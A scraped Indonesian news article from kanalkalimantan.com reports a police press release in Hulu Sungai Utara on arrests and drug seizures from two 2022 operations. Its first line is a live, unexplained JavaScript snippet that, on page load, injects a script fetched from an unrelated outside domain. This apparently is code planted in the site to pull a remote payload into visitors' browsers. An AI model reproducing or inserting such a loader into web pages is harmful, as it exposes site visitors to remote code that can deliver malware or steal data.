(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Sebanyak 17 tersangka hasil Operasi Antik Intan dan 9 tersangka hasil operasi Sikat Intan 2022 dihadirkan Polres Hulu Sungai Utara (HSU) saat press release ungkap kasus di halaman Mapolres HSU, Rabu (20/4/2022).
Kegiatan dipimpin langsung oleh Kapolres HSU AKBP Afri Darmawan serta dihadiri Wakapolres Kompol M Irfan, Kabag Ops Kompol Heru Setiawan, Kasi Humas Iptu Momo Jon Rodok, Kasat Reskrim Iptu Widodo Saputro, dan Kasat Narkoba Iptu Siswadi.
AKBP Afri Darmawan menerangkan dari hasil Operasi Intan dari tanggal 15-28 Maret 2022 pihaknya berhasil mengamankan 9 tersangka dari total 6 laporan kasus. Dimana barang bukti sabu sebanyak 4,57 gram berhasil diamankan.
“Dan kasus yang paling menonjol selama triwulan pertama tahun 2022 yang lumayan besar untuk penangkapan narkoba yaitu 162.50 gram atau 153.92 gram berat bersih, itu terjadi pada tanggal 3 Januari 2022 lalu,” beber Kapolres.
Kapolres HSU saat ungkap hasil Operasi Antik Intan dan Sikat Intan 2022 Polres HSU. Foto: dew
Baca juga : Momentum Hari Jadi ke-23 Banjarbaru, Wali Kota Siapkan Revisi RTRW untuk RDTR Ibu Kota Provinsi
Dengan adanya pengungkapan kasus tersebut, ia berharap kasus narkoba di Kabupaten HSU kedepannya mengalami penurunan.
“Kita harap jangan sampai ada bandar-bandar yang lebih besar lagi di Kabupaten HSU, ini juga kita lakukan supaya penegakan hukum keamanan keselamatan masyarakat, kemudian perlindungan pengayoman dan pelayanan masyarakat menjadi tugas kita sesuai dengan pasal 13 Undang-Undang Nomor 2 Tahun 2002 tentang Polri,” imbuhnya.
Sementara dari hasil Operasi Sikat Intan, yang berlangsung dari 31 Maret sampai dengan 13 April 2022, Polres HSU berhasil mengamankan 17 tersangka, dari hasil 4 target Operasi (TO) dan 3 Non TO.
“Jadi selama berlangsung Operasi 14 hari, Kita berhasil memenuhi target yang diberikan oleh Polda Kalsel, bahkan melebihi target, yaitu berhasil mengungkap 13 kasus tindak pidana dengan 17 tersangka,” terang Kapolres.
Baca juga : Apresiasi Santri Penghafal Qur’an Ponpes Rakha
Adapun 13 kasus tindak pidana yang berhasil diungkap tersebut meliputi perjudian 4 kasus (7 tersangka), kepemilikan senjata tajam tanpa izin 3 kasus (3 tersangka), pengerusakan 1 kasus (2 tersangka), penadah 1 kasus (1 tersangka), penggelapan 1 kasus (1 tersangka), narkotika 1 kasus (1 tersangka) ilegal fishing 1 kasus (1 tersangka) dan pengeroyokan 1 kasus (1 tersangka).
Selain menghadirkan para tersangka dalam press release ini, Polres HSU juga menghadirkan barang bukti dari beberapa kasus seperti senjata tajam jenis parang hingga paket sabu yang ikut diamankan. (kanalkalimantan.com/dew)
Reporter : dew
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.